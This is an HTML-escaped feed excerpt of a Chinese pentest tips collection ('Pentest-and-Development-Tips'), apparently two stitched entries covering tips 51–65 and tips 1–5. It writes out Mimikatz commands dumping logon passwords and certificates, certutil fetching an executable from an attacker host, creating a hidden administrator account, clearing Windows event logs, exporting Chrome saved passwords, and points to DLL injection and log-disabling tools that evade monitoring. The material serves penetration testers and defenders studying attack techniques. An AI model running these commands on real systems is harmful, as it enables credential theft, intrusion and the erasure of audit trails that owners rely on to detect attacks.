&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用/D参数创建的链接，文件属性多了&amp;quot;快捷方式&amp;quot;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用/J不需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用/D需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;应用：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;更改释放文件的路径 &lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_101" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 51 powershell在执行脚本时传入参数&lt;/span&gt;&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCerts"

powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command ""log ""privilege::debug"" ""sekurlsa::logonpasswords"""""&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_102" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 52 dll注入方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_103" class="h16"&gt;&lt;span class="span_for_h"&gt;1、APC&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/"&gt;《通过APC实现Dll注入——绕过Sysmon监控》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_104" class="h16"&gt;&lt;span class="span_for_h"&gt;2、process hollowing&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%82%80%E5%84%A1%E8%BF%9B%E7%A8%8B%E7%9A%84%E5%AE%9E%E7%8E%B0%E4%B8%8E%E6%A3%80%E6%B5%8B/"&gt;《傀儡进程的实现与检测》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_105" class="h16"&gt;&lt;span class="span_for_h"&gt;3、Process Doppelgänging&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Process-Doppelganging%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D/"&gt;《Process Doppelganging利用介绍》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_106" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 53 域内默认共享目录&lt;/span&gt;&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;\\&amp;lt;DOMAIN&amp;gt;\SYSVOL\&amp;lt;DOMAIN&amp;gt;\&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;所有域内主机都能访问，里面保存组策略相关数据，包含登录脚本配置文件等&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8SYSVOL%E8%BF%98%E5%8E%9F%E7%BB%84%E7%AD%96%E7%95%A5%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/"&gt;《域渗透——利用SYSVOL还原组策略中保存的密码》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_107" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 54 你的TeamViewer有可能被反控&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果你的TeamViewer版本为&lt;code&gt;13.0.5058&lt;/code&gt;，不要随意连接未知的TeamViewer服务器，有可能被反控&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/TeamViewer-13.0.5058%E4%B8%AD%E7%9A%84%E6%9D%83%E9%99%90%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95/"&gt;《TeamViewer 13.0.5058中的权限漏洞测试》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_108" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 55 远程查看域控登录、注销相关的日志：&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_109" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1:&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_110" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(不推荐，直接下载文件太大)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;获取域控文件:&lt;code&gt;C:\Windows\System32\winevt\Logs\Security.evtx&lt;/code&gt;，筛选事件4624/4623/4672&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_111" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 56 判断当前系统是否处在待机状态&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;锁屏状态下GetForegroundWindow()的函数返回值为NULL，非锁屏状态下GetForegroundWindow()的函数返回值为一个非零的值&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Powershell脚本实现：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Writeup/blob/master/CheckStandby.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_112" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 57 获得当前系统用户无输入的时间&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过API GetIdleTime进行判断&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;c#实现：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://www.codeproject.com/Articles/13384/Getting-the-user-idle-time-with-C&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell脚本实现：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Writeup/blob/master/GetIdleTime.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_113" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 58 判断当前系统的屏保启动时间&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;判断是否开启屏保：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查找注册表&lt;code&gt;HKEY_CURRENT_USER\Control Panel\Desktop&lt;/code&gt;，是否存在键值&lt;code&gt;SCRNSAVE.EXE&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果开启屏保，查看键值&lt;code&gt;ScreenSaveTimeOut&lt;/code&gt;获得屏保启动时间(以秒为单位)&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_114" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 59 隐藏指定进程的界面&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过API ShowWindowAsync改变窗口状态&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过powershell实现，脚本可参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Writeup/blob/master/HiddenProcess.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_115" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 60 通过Powershell对Windows系统截屏&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;脚本下载地址：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8/file/50729/1/Take-ScreenShot.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_116" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 61 查看当前Windows系统已安装的程序&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过枚举注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall下所有子健的DisplayName获取&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;64位系统下32位程序的目录为&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell脚本实现的参考地址：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/ListInstalledPrograms&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_117" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 62 通过wmi获得当前系统的类型&lt;/span&gt;&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem get PCSystemType /FORMAT:list&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;|Value|Meaning|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;| - | - |&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|0 (0x0) |Unspecified|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|1 (0x1) |Desktop|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|2 (0x2) |Mobile|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|3 (0x3) |Workstation|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|4 (0x4) |Enterprise Server|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|5 (0x5) |Small Office and Home Office (SOHO) Server|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|6 (0x6) |Appliance PC|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;|7 (0x7) |Performance Server|&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;|8 (0x8) |Maximum|&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_2"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_118" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 63 导出Chrome浏览器保存的密码：&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_119" class="h16"&gt;&lt;span class="span_for_h"&gt;1、在线获取&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法1:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读取数据库文件&lt;code&gt;%LocalAppData%\Google\Chrome\User Data\Default\Login Data&lt;/code&gt;，如果Chrome浏览器正在运行，无法直接读取，需要先复制&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;在当前系统调用API CryptUnprotectData直接解密&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;方法2:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;mimikatz&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;vault::cred&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/"&gt;《渗透技巧——导出Chrome浏览器中保存的密码》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_120" class="h16"&gt;&lt;span class="span_for_h"&gt;2、离线获取&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Master  Key，不需要获得用户明文密码&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;[Details soon]&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_2"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_121" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 65 通过ShadowCopy获得系统的历史文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查询当前系统有无快照：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;vssadmin list shadows&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;访问历史快照中的文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy15\
dir c:\testvsc&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;[Details soon]&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_122" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 64&lt;/span&gt;&lt;/h3&gt;</summary>

  </entry>


  <entry>


    <title>Pentest-and-Development-Tips</title>

    <link href="https://www.secbig.com/lofter/pentest-and-development-tips"  rel="alternate"></link>

    <updated>2018-02-28T02:31:00Z</updated>
    <id>lofter/pentest-and-development-tips</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;h1 id="toc_0" class="h16 md_first_h"&gt;&lt;span class="span_for_h"&gt;Pentest-and-Development-Tips&lt;/span&gt;&lt;/h1&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;A collection of pentest and development tips&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Author： 3gstudent&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_1" class="h16"&gt;&lt;span class="span_for_h"&gt;声明&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以下技巧不应用于非法用途&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_2" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 1. 手动端口探测&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;nmap的-sV可以探测出服务版本，但有些情况下必须手动探测去验证&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Wireshark获取响应包未免大材小用，可通过nc简单判断&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对于8001端口，nc连接上去，随便输入一个字符串，得到了以下结果：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$ nc -vv localhost 8001  
localhost [127.0.0.1] 8001 (?) open
asd
HTTP/1.1 400 Bad Request
Date: Fri, 25 Aug 2017 12:15:25 GMT
Server: Apache/2.4.23 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
&amp;lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&amp;gt;
&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;400 Bad Request&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Bad Request&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;Your browser sent a request that this server could not understand.&amp;lt;br /&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;hr&amp;gt;
&amp;lt;address&amp;gt;Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001&amp;lt;/address&amp;gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;由此我们知道了这是一个http服务，因为我们发送的字符串不是一个合法的HTTP请求，因此返回一个400 Bad requests，我们还得到了系统的版本是Debian，WebServer是Apache&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="http://www.freebuf.com/articles/network/146087.html"&gt;《谈谈端口探测的经验与原理》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_1"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_3" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 2. Windows系统从Kali下载文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Kali:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;python -m SimpleHTTPServer 80&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84certutil.exe/"&gt;《渗透测试中的certutil.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_4" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 3. 配置工作组计算机,使其支持net use远程连接&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;添加用户：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;net user test test /add
net localgroup administrators test /add&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改注册表，使其支持远程连接：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;net use远程连接：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;net use \\192.168.1.195 test /u:test&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_5" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 4. Windows日志清除&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;获取日志分类列表：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil el &amp;gt;1.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;获取单个日志类别的统计信息：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil gli "windows powershell"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;回显：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查看指定日志的具体内容：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil qe /f:text "windows powershell"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;删除单个日志类别的所有信息：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil cl "windows powershell"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/"&gt;《渗透技巧-Windows日志的删除与绕过》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_6" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 5. 破坏Windows日志记录功能&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过调用TerminateThread结束实现日志功能的线程，使得日志记录功能失效，但Windows Event Log服务没有被破坏，状态仍为正在运行&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Powershell:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/hlldz/Invoke-Phant0m&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;C++:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Windwos-EventLog-Bypass&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/"&gt;《渗透技巧-Windows日志的删除与绕过》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
